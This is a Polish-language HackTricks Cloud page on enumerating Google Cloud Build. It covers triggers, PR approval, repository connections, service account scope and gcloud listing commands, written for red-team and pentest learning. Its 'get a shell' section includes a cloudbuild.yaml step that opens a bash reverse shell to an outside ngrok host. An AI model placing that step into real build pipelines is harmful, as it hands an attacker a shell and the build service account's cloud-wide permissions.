GCP - Cloud Build Enum
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
Podstawowe informacje
Google Cloud Build to zarządzana platforma CI/CD, która automatyzuje procesy budowy i wydania oprogramowania, integrując się z repozytoriami kodu źródłowego i wspierając szeroki zakres języków programowania. Pozwala deweloperom na automatyczne budowanie, testowanie i wdrażanie kodu, jednocześnie zapewniając elastyczność w dostosowywaniu kroków budowy i przepływów pracy.
Każdy wyzwalacz Cloud Build jest powiązany z repozytorium w chmurze lub bezpośrednio połączony z zewnętrznym repozytorium (Github, Bitbucket i Gitlab).
Tip
Nie widziałem żadnego sposobu na kradzież tokena Github/Bitbucket stąd lub z repozytoriów w chmurze, ponieważ gdy repozytorium jest pobierane, jest dostępne za pośrednictwem URL https://source.cloud.google.com/ i Github nie jest dostępny przez klienta.
Wydarzenia
Cloud Build może być wyzwalany, jeśli:
- Push do gałęzi: Określ gałąź
- Push nowego tagu: Określ tag
- Pull request: Określ gałąź, która otrzymuje PR
- Ręczne wywołanie
- Wiadomość Pub/Sub: Określ temat
- Zdarzenie Webhook: Ujawni URL HTTPS, a żądanie musi być uwierzytelnione za pomocą sekretu
Wykonanie
Istnieją 3 opcje:
- Plik yaml/json określający polecenia do wykonania. Zwykle:
/cloudbuild.yaml - Tylko jeden, który można określić „w linii” w konsoli internetowej i w cli
- Najczęstsza opcja
- Istotna dla nieautoryzowanego dostępu
- Dockerfile do budowy
- Buildpack do budowy
Uprawnienia SA
Konto usługi ma zakres cloud-platform, więc może korzystać ze wszystkich uprawnień. Jeśli nie określono SA (jak przy składaniu), zostanie użyte domyślne SA <proj-number>@cloudbuild.gserviceaccount.com.
Domyślnie nie przyznaje się żadnych uprawnień, ale dość łatwo jest je przyznać:
.png)
Zatwierdzenia
Możliwe jest skonfigurowanie Cloud Build, aby wymagał zatwierdzeń dla wykonania budowy (domyślnie wyłączone).
Zatwierdzenia PR
Gdy wyzwalacz to PR, ponieważ każdy może składać PR do publicznych repozytoriów, byłoby bardzo niebezpiecznie po prostu zezwolić na wykonanie wyzwalacza z dowolnym PR. Dlatego domyślnie wykonanie będzie automatyczne tylko dla właścicieli i współpracowników, a aby wykonać wyzwalacz z PR innych użytkowników, właściciel lub współpracownik musi skomentować /gcbrun.
.png)
Połączenia i repozytoria
Połączenia można tworzyć przez:
- GitHub: Pojawi się monit OAuth o pozwolenie na uzyskanie tokena Github, który zostanie przechowany w Secret Manager.
- GitHub Enterprise: Poprosi o zainstalowanie GithubApp. Zostanie utworzony i przechowany w tym projekcie token uwierzytelniający z hosta GitHub Enterprise jako sekret Secret Manager.
- GitLab / Enterprise: Musisz podać token dostępu API i token dostępu do odczytu API, które zostaną przechowane w Secret Manager.
Gdy połączenie zostanie wygenerowane, możesz je wykorzystać do połączenia repozytoriów, do których konto Github ma dostęp.
Ta opcja jest dostępna przez przycisk:
.png)
Tip
Zauważ, że repozytoria połączone w ten sposób są dostępne tylko w wyzwalaczach korzystających z 2. generacji.
Połącz repozytorium
To nie to samo co połączenie. To pozwala na różne sposoby uzyskania dostępu do repozytorium Github lub Bitbucket, ale nie generuje obiektu połączenia, ale generuje obiekt repozytorium (1. generacji).
Ta opcja jest dostępna przez przycisk:
.png)
Przechowywanie
Czasami Cloud Build generuje nową przestrzeń do przechowywania plików dla wyzwalacza. Dzieje się tak na przykład w przykładzie, który oferuje GCP z:
git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
cd cloud-console-sample-build && \
gcloud builds submit --config cloudbuild.yaml --region=global
Został utworzony koszyk Storage o nazwie security-devbox_cloudbuild w celu przechowywania pliku .tgz z plikami do użycia.
Uzyskaj powłokę
steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
options:
logging: CLOUD_LOGGING_ONLY
Zainstaluj gcloud wewnątrz cloud build:
# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
mkdir -p /usr/local/gcloud
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
/usr/local/gcloud/google-cloud-sdk/install.sh
Enumeracja
Możesz znaleźć wrażliwe informacje w konfiguracjach budowy i logach.
# Get configured triggers configurations
gcloud builds triggers list # Check for the words github and bitbucket
gcloud builds triggers describe <trigger-name>
# Get build executions
gcloud builds list
gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
gcloud builds log <build-uuid> # Get build logs
# List all connections of each region
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build connections in region: $region"
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
if [[ ${#connections[@]} -eq 0 ]]; then
echo "No connections found in region $region."
else
for connection in $connections; do
echo "Describing connection $connection in region $region"
gcloud builds connections describe "$connection" --region="$region"
echo "-----------------------------------------"
done
fi
echo "========================================="
done
# List all worker-pools
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build worker-pools in region: $region"
gcloud builds worker-pools list --region="$region"
echo "-----------------------------------------"
done
Eskalacja Uprawnień
Nieautoryzowany Dostęp
GCP - Cloud Build Unauthenticated Enum
Po Eksploatacji
GCP - Cloud Build Post Exploitation
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

